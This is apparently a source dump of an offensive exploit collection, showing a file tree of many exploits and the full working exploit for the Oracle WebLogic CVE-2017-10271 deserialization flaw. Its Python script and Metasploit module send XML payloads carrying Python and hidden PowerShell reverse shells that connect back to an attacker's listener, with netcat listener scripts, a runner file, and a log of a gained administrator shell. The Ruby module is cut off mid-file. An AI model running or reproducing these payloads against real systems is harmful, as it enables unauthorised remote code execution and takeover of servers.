├── .gitignore
├── CVE-2017-10271
├── CVE-2017-10271.py
├── LICENSE
├── README.md
├── docker
│ ├── Dockerfile
│ └── README.md
├── listeners
│ ├── nc-exploit-listener.sh
│ ├── py2-check-listener.sh
│ └── py3-check-listener.sh
├── msf-linux-runner.rc
├── oracle_weblog_wsat_rce.rb
├── original-poc
│ └── original-poc.py
├── scanners
│ ├── LICENSE
│ ├── Makefile
│ ├── README.md
│ ├── bin
│ │ ├── CVE-2017-10271.release.1.5.1.amd64.darwin
│ │ ├── CVE-2017-10271.release.1.5.1.amd64.dragonfly
│ │ ├── CVE-2017-10271.release.1.5.1.amd64.freebsd
│ │ ├── CVE-2017-10271.release.1.5.1.amd64.linux
│ │ ├── CVE-2017-10271.release.1.5.1.amd64.netbsd
│ │ ├── CVE-2017-10271.release.1.5.1.amd64.openbsd
│ │ ├── CVE-2017-10271.release.1.5.1.amd64.solaris
│ │ └── CVE-2017-10271.release.1.5.1.amd64.windows.exe
│ ├── cmd
│ │ ├── root.go
│ │ └── version.go
│ ├── libcve201710271
│ │ ├── banner.go
│ │ ├── config.go
│ │ ├── payload.go
│ │ ├── request.go
│ │ ├── target.go
│ │ ├── urls.go
│ │ └── workers.go
│ └── main.go
└── vulnerable_machine_setup.md
├── CVE-2017-11882
├── CVE-2017-11882.py
├── README.md
└── a.doc
├── README.md
├── StrutsPOCV2.0.jar
├── cve-2016-6662
├── cve-2016-6662_MySQL_RCE_exploit.py
└── mysql_hookandroot_lib.c
├── dedecms
├── found_admin_login_page.php
└── found_admin_login_page.py
├── iis6_exploit.py
├── imageMagic
├── command.jpg
├── command2.jpg
├── command3.jpg
└── ssrf.jpg
├── jenkins
└── CVE-2018-1999002.py
├── phpcms
└── phpcmsv9.6.0_sqli.py
├── struts2
├── .DS_Store
├── readme.txt
├── s2-045
│ ├── st2-045.py
│ └── tmp.txt
├── s2-046
│ └── s2-046.sh
└── struts2-exp.py
├── webdav_exec_CVE-2017-11882.py
├── weblogicANDjbossTool
├── DeserializeExploit.jar
├── JBOSS_EXP.jar
├── WebLogicExploit.jar
└── WebLogic_EXP.jar
└── zabbixPwn.py
/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 |
--------------------------------------------------------------------------------
/CVE-2017-10271/CVE-2017-10271.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 | # Exploit Title: Weblogic wls-wsat Component Deserialization RCE
4 | # Date Authored: Jan 3, 2018
5 | # Date Announced: 10/19/2017
6 | # Exploit Author: Kevin Kirsche (d3c3pt10n)
7 | # Exploit Github: https://github.com/kkirsche/CVE-2017-10271
8 | # Exploit is based off of POC by Luffin from Github
9 | # https://github.com/Luffin/CVE-2017-10271
10 | # Vendor Homepage: http://www.oracle.com/technetwork/middleware/weblogic/overview/index.html
11 | # Version: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0
12 | # Tested on: Oracle WebLogic 10.3.6.0.0 running on Oracle Linux 6.8 and Ubuntu 14.04.4 LTS
13 | # CVE: CVE-2017-10271
14 | # Usage: python exploit.py -l 10.10.10.10 -p 4444 -r http://will.bepwned.com:7001/
15 | # (Python 3) Example check listener: python3 -m http.server 4444
16 | # (Python 2) Example check listener: python -m SimpleHTTPServer 4444
17 | # (Netcat) Example exploit listener: nc -nlvp 4444
18 |
19 | from sys import exit
20 | from requests import post
21 | from argparse import ArgumentParser
22 | from random import choice
23 | from string import ascii_uppercase, ascii_lowercase, digits
24 | from xml.sax.saxutils import escape
25 |
26 | class Exploit:
27 |
28 | def __init__(self, check, rhost, lhost, lport, windows):
29 | self.url = rhost if not rhost.endswith('/') else rhost.strip('/')
30 | self.lhost = lhost
31 | self.lport = lport
32 | self.check = check
33 | if windows:
34 | self.target = 'win'
35 | else:
36 | self.target = 'unix'
37 |
38 | if self.target == 'unix':
39 | # Unix reverse shell
40 | # You should also be able to instead use something from MSFVenom. E.g.
41 | # msfvenom -p cmd/unix/reverse_python LHOST=10.10.10.10 LPORT=4444
42 | self.cmd_payload = (
43 | "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket."
44 | "SOCK_STREAM);s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0); os.dup2("
45 | "s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
46 | ).format(lhost=self.lhost, lport=self.lport)
47 | else:
48 | # Windows reverse shell
49 | # Based on msfvenom -p cmd/windows/reverse_powershell LHOST=10.10.10.10 LPORT=4444
50 | self.cmd_payload = (
51 | r"powershell -w hidden -nop -c function RSC{if ($c.Connected -eq $true) "
52 | r"{$c.Close()};if ($p.ExitCode -ne $null) {$p.Close()};exit;};$a='" + self.lhost +""
53 | r"';$p='"+ self.lport + "';$c=New-Object system.net.sockets.tcpclient;$c.connect($a"
54 | r",$p);$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize;"
55 | r"$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';"
56 | r"$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;"
57 | r"$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;"
58 | r"$os=$p.StandardOutput;Start-Sleep 1;$e=new-object System.Text.AsciiEncoding;"
59 | r"while($os.Peek() -ne -1){$o += $e.GetString($os.Read())};"
60 | r"$s.Write($e.GetBytes($o),0,$o.Length);$o=$null;$d=$false;$t=0;"
61 | r"while (-not $d) {if ($c.Connected -ne $true) {RSC};$pos=0;$i=1; while (($i -gt 0)"
62 | r" -and ($pos -lt $nb.Length)) {$r=$s.Read($nb,$pos,$nb.Length - $pos);$pos+=$r;"
63 | r"if (-not $pos -or $pos -eq 0) {RSC};if ($nb[0..$($pos-1)] -contains 10) {break}};"
64 | r"if ($pos -gt 0){$str=$e.GetString($nb,0,$pos);$is.write($str);start-sleep 1;if "
65 | r"($p.ExitCode -ne $null){RSC}else{$o=$e.GetString($os.Read());while($os.Peek() -ne"
66 | r" -1){$o += $e.GetString($os.Read());if ($o -eq $str) {$o=''}};$s.Write($e."
67 | r"GetBytes($o),0,$o.length);$o=$null;$str=$null}}else{RSC}};"
68 | )
69 | self.cmd_payload = escape(self.cmd_payload)
70 |
71 | def cmd_base(self):
72 | if self.target == 'win':
73 | return 'cmd'
74 | return '/bin/sh'
75 |
76 | def cmd_opt(self):
77 | if self.target == 'win':
78 | return '/c'
79 | return '-c'
80 |
81 |
82 | def get_generic_check_payload(self):
83 | random_uri = ''.join(
84 | choice(ascii_uppercase + ascii_lowercase + digits)
85 | for _ in range(16))
86 | generic_check_payload = '''
87 |
88 |
89 |
90 |
91 | http://{lhost}:{lport}/{random_uri}
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 | '''
102 |
103 | return generic_check_payload.format(
104 | lhost=self.lhost, lport=self.lport, random_uri=random_uri)
105 |
106 | def get_process_builder_payload(self):
107 | process_builder_payload = '''
108 |
109 |
110 |
111 |
112 |
113 |
114 | {cmd_base}
115 |
116 |
117 | {cmd_opt}
118 |
119 |
120 | {cmd_payload}
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 | '''
131 | return process_builder_payload.format(cmd_base=self.cmd_base(), cmd_opt=self.cmd_opt(),
132 | cmd_payload=self.cmd_payload)
133 |
134 | def print_banner(self):
135 | print("=" * 80)
136 | print("CVE-2017-10271 RCE Exploit")
137 | print("written by: Kevin Kirsche (d3c3pt10n)")
138 | print("Remote Target: {rhost}".format(rhost=self.url))
139 | print("Shell Listener: {lhost}:{lport}".format(
140 | lhost=self.lhost, lport=self.lport))
141 | print("=" * 80)
142 |
143 | def post_exploit(self, data):
144 | headers = {
145 | "Content-Type":
146 | "text/xml;charset=UTF-8",
147 | "User-Agent":
148 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
149 | }
150 | payload = "/wls-wsat/CoordinatorPortType"
151 |
152 | vulnurl = self.url + payload
153 | try:
154 | req = post(
155 | vulnurl, data=data, headers=headers, timeout=10, verify=False)
156 | if self.check:
157 | print("[*] Did you get an HTTP GET request back?")
158 | else:
159 | print("[*] Did you get a shell back?")
160 | except Exception as e:
161 | print('[!] Connection Error')
162 | print(e)
163 |
164 | def run(self):
165 | self.print_banner()
166 | if self.check:
167 | print('[+] Generating generic check payload')
168 | payload = self.get_generic_check_payload()
169 | else:
170 | print('[+] Generating execution payload')
171 | payload = self.get_process_builder_payload()
172 | print('[*] Generated:')
173 | print(payload)
174 | if self.check:
175 | print('[+] Running generic check payload')
176 | else:
177 | print('[+] Running {target} execute payload'.format(target=self.target))
178 |
179 | self.post_exploit(data=payload)
180 |
181 |
182 | if __name__ == "__main__":
183 | parser = ArgumentParser(
184 | description=
185 | 'CVE-2017-10271 Oracle WebLogic Server WLS Security exploit. Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.'
186 | )
187 | parser.add_argument(
188 | '-l',
189 | '--lhost',
190 | required=True,
191 | dest='lhost',
192 | nargs='?',
193 | help='The listening host that the remote server should connect back to')
194 | parser.add_argument(
195 | '-p',
196 | '--lport',
197 | required=True,
198 | dest='lport',
199 | nargs='?',
200 | help='The listening port that the remote server should connect back to')
201 | parser.add_argument(
202 | '-r',
203 | '--rhost',
204 | required=True,
205 | dest='rhost',
206 | nargs='?',
207 | help='The remote host base URL that we should send the exploit to')
208 | parser.add_argument(
209 | '-c',
210 | '--check',
211 | dest='check',
212 | action='store_true',
213 | help=
214 | 'Execute a check using HTTP to see if the host is vulnerable. This will cause the host to issue an HTTP request. This is a generic check.'
215 | )
216 | parser.add_argument(
217 | '-w',
218 | '--win',
219 | dest='windows',
220 | action='store_true',
221 | help=
222 | 'Use the windows cmd payload instead of unix payload (execute mode only).'
223 | )
224 |
225 | args = parser.parse_args()
226 |
227 | exploit = Exploit(
228 | check=args.check, rhost=args.rhost, lhost=args.lhost, lport=args.lport,
229 | windows=args.windows)
230 | exploit.run()
231 |
--------------------------------------------------------------------------------
/CVE-2017-10271/LICENSE:
--------------------------------------------------------------------------------
1 | Apache License
2 | Version 2.0, January 2004
3 | http://www.apache.org/licenses/
4 |
5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6 |
7 | 1. Definitions.
8 |
9 | "License" shall mean the terms and conditions for use, reproduction,
10 | and distribution as defined by Sections 1 through 9 of this document.
11 |
12 | "Licensor" shall mean the copyright owner or entity authorized by
13 | the copyright owner that is granting the License.
14 |
15 | "Legal Entity" shall mean the union of the acting entity and all
16 | other entities that control, are controlled by, or are under common
17 | control with that entity. For the purposes of this definition,
18 | "control" means (i) the power, direct or indirect, to cause the
19 | direction or management of such entity, whether by contract or
20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the
21 | outstanding shares, or (iii) beneficial ownership of such entity.
22 |
23 | "You" (or "Your") shall mean an individual or Legal Entity
24 | exercising permissions granted by this License.
25 |
26 | "Source" form shall mean the preferred form for making modifications,
27 | including but not limited to software source code, documentation
28 | source, and configuration files.
29 |
30 | "Object" form shall mean any form resulting from mechanical
31 | transformation or translation of a Source form, including but
32 | not limited to compiled object code, generated documentation,
33 | and conversions to other media types.
34 |
35 | "Work" shall mean the work of authorship, whether in Source or
36 | Object form, made available under the License, as indicated by a
37 | copyright notice that is included in or attached to the work
38 | (an example is provided in the Appendix below).
39 |
40 | "Derivative Works" shall mean any work, whether in Source or Object
41 | form, that is based on (or derived from) the Work and for which the
42 | editorial revisions, annotations, elaborations, or other modifications
43 | represent, as a whole, an original work of authorship. For the purposes
44 | of this License, Derivative Works shall not include works that remain
45 | separable from, or merely link (or bind by name) to the interfaces of,
46 | the Work and Derivative Works thereof.
47 |
48 | "Contribution" shall mean any work of authorship, including
49 | the original version of the Work and any modifications or additions
50 | to that Work or Derivative Works thereof, that is intentionally
51 | submitted to Licensor for inclusion in the Work by the copyright owner
52 | or by an individual or Legal Entity authorized to submit on behalf of
53 | the copyright owner. For the purposes of this definition, "submitted"
54 | means any form of electronic, verbal, or written communication sent
55 | to the Licensor or its representatives, including but not limited to
56 | communication on electronic mailing lists, source code control systems,
57 | and issue tracking systems that are managed by, or on behalf of, the
58 | Licensor for the purpose of discussing and improving the Work, but
59 | excluding communication that is conspicuously marked or otherwise
60 | designated in writing by the copyright owner as "Not a Contribution."
61 |
62 | "Contributor" shall mean Licensor and any individual or Legal Entity
63 | on behalf of whom a Contribution has been received by Licensor and
64 | subsequently incorporated within the Work.
65 |
66 | 2. Grant of Copyright License. Subject to the terms and conditions of
67 | this License, each Contributor hereby grants to You a perpetual,
68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69 | copyright license to reproduce, prepare Derivative Works of,
70 | publicly display, publicly perform, sublicense, and distribute the
71 | Work and such Derivative Works in Source or Object form.
72 |
73 | 3. Grant of Patent License. Subject to the terms and conditions of
74 | this License, each Contributor hereby grants to You a perpetual,
75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76 | (except as stated in this section) patent license to make, have made,
77 | use, offer to sell, sell, import, and otherwise transfer the Work,
78 | where such license applies only to those patent claims licensable
79 | by such Contributor that are necessarily infringed by their
80 | Contribution(s) alone or by combination of their Contribution(s)
81 | with the Work to which such Contribution(s) was submitted. If You
82 | institute patent litigation against any entity (including a
83 | cross-claim or counterclaim in a lawsuit) alleging that the Work
84 | or a Contribution incorporated within the Work constitutes direct
85 | or contributory patent infringement, then any patent licenses
86 | granted to You under this License for that Work shall terminate
87 | as of the date such litigation is filed.
88 |
89 | 4. Redistribution. You may reproduce and distribute copies of the
90 | Work or Derivative Works thereof in any medium, with or without
91 | modifications, and in Source or Object form, provided that You
92 | meet the following conditions:
93 |
94 | (a) You must give any other recipients of the Work or
95 | Derivative Works a copy of this License; and
96 |
97 | (b) You must cause any modified files to carry prominent notices
98 | stating that You changed the files; and
99 |
100 | (c) You must retain, in the Source form of any Derivative Works
101 | that You distribute, all copyright, patent, trademark, and
102 | attribution notices from the Source form of the Work,
103 | excluding those notices that do not pertain to any part of
104 | the Derivative Works; and
105 |
106 | (d) If the Work includes a "NOTICE" text file as part of its
107 | distribution, then any Derivative Works that You distribute must
108 | include a readable copy of the attribution notices contained
109 | within such NOTICE file, excluding those notices that do not
110 | pertain to any part of the Derivative Works, in at least one
111 | of the following places: within a NOTICE text file distributed
112 | as part of the Derivative Works; within the Source form or
113 | documentation, if provided along with the Derivative Works; or,
114 | within a display generated by the Derivative Works, if and
115 | wherever such third-party notices normally appear. The contents
116 | of the NOTICE file are for informational purposes only and
117 | do not modify the License. You may add Your own attribution
118 | notices within Derivative Works that You distribute, alongside
119 | or as an addendum to the NOTICE text from the Work, provided
120 | that such additional attribution notices cannot be construed
121 | as modifying the License.
122 |
123 | You may add Your own copyright statement to Your modifications and
124 | may provide additional or different license terms and conditions
125 | for use, reproduction, or distribution of Your modifications, or
126 | for any such Derivative Works as a whole, provided Your use,
127 | reproduction, and distribution of the Work otherwise complies with
128 | the conditions stated in this License.
129 |
130 | 5. Submission of Contributions. Unless You explicitly state otherwise,
131 | any Contribution intentionally submitted for inclusion in the Work
132 | by You to the Licensor shall be under the terms and conditions of
133 | this License, without any additional terms or conditions.
134 | Notwithstanding the above, nothing herein shall supersede or modify
135 | the terms of any separate license agreement you may have executed
136 | with Licensor regarding such Contributions.
137 |
138 | 6. Trademarks. This License does not grant permission to use the trade
139 | names, trademarks, service marks, or product names of the Licensor,
140 | except as required for reasonable and customary use in describing the
141 | origin of the Work and reproducing the content of the NOTICE file.
142 |
143 | 7. Disclaimer of Warranty. Unless required by applicable law or
144 | agreed to in writing, Licensor provides the Work (and each
145 | Contributor provides its Contributions) on an "AS IS" BASIS,
146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 | implied, including, without limitation, any warranties or conditions
148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 | PARTICULAR PURPOSE. You are solely responsible for determining the
150 | appropriateness of using or redistributing the Work and assume any
151 | risks associated with Your exercise of permissions under this License.
152 |
153 | 8. Limitation of Liability. In no event and under no legal theory,
154 | whether in tort (including negligence), contract, or otherwise,
155 | unless required by applicable law (such as deliberate and grossly
156 | negligent acts) or agreed to in writing, shall any Contributor be
157 | liable to You for damages, including any direct, indirect, special,
158 | incidental, or consequential damages of any character arising as a
159 | result of this License or out of the use or inability to use the
160 | Work (including but not limited to damages for loss of goodwill,
161 | work stoppage, computer failure or malfunction, or any and all
162 | other commercial damages or losses), even if such Contributor
163 | has been advised of the possibility of such damages.
164 |
165 | 9. Accepting Warranty or Additional Liability. While redistributing
166 | the Work or Derivative Works thereof, You may choose to offer,
167 | and charge a fee for, acceptance of support, warranty, indemnity,
168 | or other liability obligations and/or rights consistent with this
169 | License. However, in accepting such obligations, You may act only
170 | on Your own behalf and on Your sole responsibility, not on behalf
171 | of any other Contributor, and only if You agree to indemnify,
172 | defend, and hold each Contributor harmless for any liability
173 | incurred by, or claims asserted against, such Contributor by reason
174 | of your accepting any such warranty or additional liability.
175 |
176 | END OF TERMS AND CONDITIONS
177 |
178 | APPENDIX: How to apply the Apache License to your work.
179 |
180 | To apply the Apache License to your work, attach the following
181 | boilerplate notice, with the fields enclosed by brackets "[]"
182 | replaced with your own identifying information. (Don't include
183 | the brackets!) The text should be enclosed in the appropriate
184 | comment syntax for the file format. We also recommend that a
185 | file or class name and description of purpose be included on the
186 | same "printed page" as the copyright notice for easier
187 | identification within third-party archives.
188 |
189 | Copyright [yyyy] [name of copyright owner]
190 |
191 | Licensed under the Apache License, Version 2.0 (the "License");
192 | you may not use this file except in compliance with the License.
193 | You may obtain a copy of the License at
194 |
195 | http://www.apache.org/licenses/LICENSE-2.0
196 |
197 | Unless required by applicable law or agreed to in writing, software
198 | distributed under the License is distributed on an "AS IS" BASIS,
199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200 | See the License for the specific language governing permissions and
201 | limitations under the License.
202 |
--------------------------------------------------------------------------------
/CVE-2017-10271/README.md:
--------------------------------------------------------------------------------
1 | # CVE-2017-10271
2 |
3 | Weblogic wls-wsat Component Deserialization Vulnerability (CVE-2017-10271) Detection and Exploitation Script
4 |
5 | ### Usage
6 |
7 | ```bash
8 | $ python CVE-2017-10271.py -l 10.10.10.10 -p 4444 -r http://will.bepwned.com:7001/
9 | ```
10 |
11 | ### Features
12 |
13 | * Standalone Python script
14 | * Check functionality to see if any host is vulnerable
15 | * Exploit functionality for Linux targets
16 | * Metasploit module
17 | * Check functionality to see if any host is vulnerable
18 | * Exploit functionality for all targets
19 | * Scanner (./scanners)
20 | * Checks to see if hosts is vulnerable. Fully self-contained
21 |
22 | ## Legal Notices
23 |
24 | You are responsible for the use of this script. Kevin Kirsche takes no responsibility for any actions taken using the code here. The code was created for teams looking to validate the security of their servers, not for malicious use.
25 |
26 | ## Thanks
27 |
28 | Big thanks to Luffin for creating the original POC that this was based on https://github.com/Luffin/CVE-2017-10271
29 |
30 | ## Vulnerable URL's other than the one shown:
31 |
32 | ```
33 | /wls-wsat/CoordinatorPortType
34 | /wls-wsat/CoordinatorPortType11
35 | /wls-wsat/ParticipantPortType
36 | /wls-wsat/ParticipantPortType11
37 | /wls-wsat/RegistrationPortTypeRPC
38 | /wls-wsat/RegistrationPortTypeRPC11
39 | /wls-wsat/RegistrationRequesterPortType
40 | /wls-wsat/RegistrationRequesterPortType11
41 | ```
42 |
43 | ## Related Vulnerability
44 | CVE 2017-3506
45 |
46 | ## Oracle's Patch
47 |
48 | Source:
49 | https://blog.nsfocusglobal.com/threats/vulnerability-analysis/technical-analysis-and-solution-of-weblogic-server-wls-component-vulnerability/
50 |
51 | ```java
52 | private void validate(InputStream is) {
53 | WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
54 |
55 | try {
56 | SAXParser parser = factory.newSAXParser();
57 |
58 | parser.parse(is, new DefaultHandler()) {
59 | private int overallarraylength = 0;
60 |
61 | public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXEception {
62 | if (qName.equalsIgnoreCase("object")) {
63 | throw new IllegalStateException("Invalid element qName:object");
64 | } else if (qName.equalsIgnoreCase("new")) {
65 | throw new IllegalStateException("Invalid element qName:new");
66 | } else if (qName.equalsIgnoreCase("method")) {
67 | throw new IllegalStateException("Invalid element qName:method");
68 | } else {
69 | if (qName.equalsIgnoreCase("void")) {
70 | for(int attClass = 0;attClass < attributes.getLength(); ++attClass) {
71 | if (!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
72 | throw new IllegalStateException("Invalid attribute for element void: " + attributes.getQName(attClass));
73 | }
74 | }
75 | }
76 |
77 | ... more code here ...
78 | }
79 | }
80 | }
81 | }
82 | }
83 | ```
84 |
--------------------------------------------------------------------------------
/CVE-2017-10271/docker/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM zhiqzhao/ubuntu_weblogic1036_domain
2 | RUN apt-get update && apt-get -y install python
3 |
--------------------------------------------------------------------------------
/CVE-2017-10271/docker/README.md:
--------------------------------------------------------------------------------
1 | # Vulnerable Application
2 |
3 | Oracle WebLogic server versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0 with access to Web Services Atomic Transaction (WS-AT) endpoints are vulnerable to unauthenticated arbitrary command execution.
4 |
5 | ### Windows: Setting up a vulnerable application
6 |
7 | We successfully tested this exploit against a fully-patched, Windows 10 (x64) target. Since WebLogic is resource intensive, consider providing four cores and 8GB of RAM.
8 |
9 | 1. [Download](http://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-main-097127.html) Oracle WebLogic Server 10.3.6, using the "Windows x86 with 32-bit JVM" (`wls1036_win32.exe`).
10 | 2. Run the installer. (See [here] for detailed instructions.) You may be prompted to install a Java Development Kit (JDK). [JDK 8u151 x64](http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html) was verified working.
11 | 3. Windows Defender will block the payload from executing, so you may need to [temporarily](https://support.microsoft.com/en-us/help/4027187/windows-turn-off-windows-defender-antivirus) or [permanently](https://www.windowscentral.com/how-permanently-disable-windows-defender-windows-10) disable it.
12 | 4. Run the configuration wizard and [create a new weblogic domain](https://docs.oracle.com/cd/E29542_01/web.1111/e14140/newdom.htm#WLDCW192). Domain names and credentials are irrelevant. At the conclusion of the wizard, click "Start Admin Server".
13 | 5. The `startWebLogic.cmd` should run immediately after the installer and present logging output. Once running, the window should output a line similar to the following
14 | ```
15 |
16 |
17 | ```
18 |
19 | ### Windows: Attacking a vulnerable application
20 |
21 | Attack the above Windows server using the `exploit/multi/http/oracle_weblogic_wsat_deserialization_rce`:
22 |
23 | ```
24 | msf > use exploit/multi/http/oracle_weblogic_wsat_deserialization_rce
25 | msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set RHOST [IP address of your target]
26 | msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set TARGET 0
27 | msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set PAYLOAD cmd/windows/reverse_powershell
28 | msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set LHOST [IP address of your attacker]
29 | msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > run
30 |
31 | [*] Started reverse TCP handler on 192.168.108.1:4444
32 | [*] Command shell session 1 opened (192.168.108.1:4444 -> 192.168.108.132:50060) at 2018-01-11 11:48:16 -0600
33 |
34 | Microsoft Windows [Version 10.0.16299.192]
35 | (c) 2017 Microsoft Corporation. All rights reserved.
36 |
37 | C:\Oracle\Middleware\user_projects\domains\admindomain>whoami
38 | weblogic-server\Administrator
39 | ```
40 |
41 | ### Unix: Setting up a vulnerable environment
42 |
43 | 1. If necessary, install Docker.io. [These instructions](https://www.ptrace-security.com/2017/06/14/how-to-install-docker-on-kali-linux-2017-1/) were tested on a Kali 2017.3 VM:
44 |
45 | ```
46 | apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D
47 | echo 'deb https://apt.dockerproject.org/repo debian-stretch main' > /etc/apt/sources.list.d/docker.list
48 | apt update
49 | apt-get install docker-engine
50 | service docker start
51 | docker run hello-world
52 | ```
53 |
54 | 2. Install a container running Ubuntu 16.04 and WebLogic 10.3.6.0:
55 | ```
56 | docker run -d -p7001:7001 -p80:7001 kkirsche/cve-2017-10271
57 | ```
58 |
59 | 3. Confirm that the container is up.
60 | ```
61 | docker ps
62 | ```
63 |
--------------------------------------------------------------------------------
/CVE-2017-10271/listeners/nc-exploit-listener.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | echo "[+] Starting listener on port 4444"
4 | nc -nlvp 4444
5 |
--------------------------------------------------------------------------------
/CVE-2017-10271/listeners/py2-check-listener.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | echo "[+] Installing requests dependency"
4 | pip install -U requests
5 |
6 | echo "[+] Starting listener on port 4444"
7 | python -m SimpleHTTPServer 4444
8 |
--------------------------------------------------------------------------------
/CVE-2017-10271/listeners/py3-check-listener.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | echo "[+] Installing requests dependency"
4 | pip3 install -U requests
5 |
6 | echo "[+] Starting listener on port 4444"
7 | python3 -m http.server 4444
8 |
--------------------------------------------------------------------------------
/CVE-2017-10271/msf-linux-runner.rc:
--------------------------------------------------------------------------------
1 | use exploit/multi/http/oracle_weblogic_wsat_deserialization_rce
2 | set RHOST pwned.com
3 | set TARGET 1
4 | set PAYLOAD cmd/unix/reverse_python
5 | set LHOST eth0
6 | set LPORT 4444
7 | exploit
8 |
--------------------------------------------------------------------------------
/CVE-2017-10271/oracle_weblog_wsat_rce.rb:
--------------------------------------------------------------------------------
1 | ##
2 | # This module requires Metasploit: https://metasploit.com/download
3 | # Current source: https://github.com/rapid7/metasploit-framework
4 | ##
5 |
6 | class MetasploitModule < Msf::Exploit::Remote
7 | Rank = ExcellentRanking
8 |
9 | include Msf::Exploit::Remote::HttpClient
10 | # include Msf::Exploit::Remote::HttpServer
11 |
12 | def initialize(info = {})
13 | super(
14 | update_info(
15 | info,
16 | 'Name' => 'Oracle WebLogic wls-wsat Component Deserialization RCE',
17 | 'Description' => %q(
18 | The Oracle WebLogic WLS WSAT Component is vulnerable to a XML Deserialization
19 | remote code execution vulnerability. Supported versions that are affected are
20 | 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. Discovered by Alexey Tyurin
21 | of ERPScan and Federico Dotta of Media Service. Please note that SRVHOST, SRVPORT,
22 | HTTP_DELAY, URIPATH and related HTTP Server variables are only used when executing a check
23 | and will not be used when executing the exploit itself.
24 | ),
25 | 'License' => MSF_LICENSE,
26 | 'Author' => [
27 | 'Kevin Kirsche ', # Metasploit module
28 | 'Luffin', # Proof of Concept
29 | 'Alexey Tyurin', 'Federico Dotta' # Vulnerability Discovery
30 | ],
31 | 'References' =>
32 | [
33 | ['URL', 'https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html'], # Security Bulletin
34 | ['URL', 'https://github.com/Luffin/CVE-2017-10271'], # Proof-of-Concept
35 | ['URL', 'https://github.com/kkirsche/CVE-2017-10271'], # Standalone Exploit
36 | ['CVE', '2017-10271'],
37 | ['EDB', '43458']
38 | ],
39 | 'Platform' => %w{ win unix },
40 | 'Arch' => [ ARCH_CMD ],
41 | 'Targets' =>
42 | [
43 | [ 'Windows Command payload', { 'Arch' => ARCH_CMD, 'Platform' => 'win' } ],
44 | [ 'Unix Command payload', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ]
45 | ],
46 | 'DisclosureDate' => "Oct 19 2017",
47 | # Note that this is by index, rather than name. It's generally easiest
48 | # just to put the default at the beginning of the list and skip this
49 | # entirely.
50 | 'DefaultTarget' => 0
51 | )
52 | )
53 |
54 | register_options([
55 | OptString.new('TARGETURI', [true, 'The base path to the WebLogic WSAT endpoint', '/wls-wsat/CoordinatorPortType']),
56 | OptPort.new('RPORT', [true, "The remote port that the WebLogic WSAT endpoint listens on", 7001]),
57 | OptFloat.new('TIMEOUT', [true, "The timeout value of requests to RHOST", 20.0]),
58 | # OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the check payload', 10])
59 | ])
60 | end
61 |
62 | def cmd_base
63 | if target['Platform'] == 'win'
64 | return 'cmd'
65 | else
66 | return '/bin/sh'
67 | end
68 | end
69 |
70 | def cmd_opt
71 | if target['Platform'] == 'win'
72 | return '/c'
73 | else
74 | return '-c'
75 | end
76 | end
77 |
78 |
79 | #
80 | # This generates a XML payload that will execute the desired payload on the RHOST
81 | #
82 | def exploit_process_builder_payload
83 | # Generate a payload which will execute on a *nix machine using /bin/sh
84 | xml = %Q{
85 |
86 |
87 |
88 |
89 |
90 |
91 | #{cmd_base}
92 |
93 |
94 | #{cmd_opt}
95 |
96 |
97 | #{payload.encoded.encode(xml: :text)}
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 | }
107 | end
108 |
109 | #
110 | # This builds a XML payload that will generate a HTTP GET request to our SRVHOST
111 | # from the target machine.
112 | #
113 | def check_process_builder_payload
114 | xml = %Q{
115 |
116 |
117 |
118 |
119 | #{get_uri.encode(xml: :text)}
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 | }
129 | end
130 |
131 | #
132 | # In the event that a 'check' host responds, we should respond randomly so that we don't clog up
133 | # the logs too much with a no response error or similar.
134 | #
135 | def on_request_uri(cli, request)
136 | random_content = '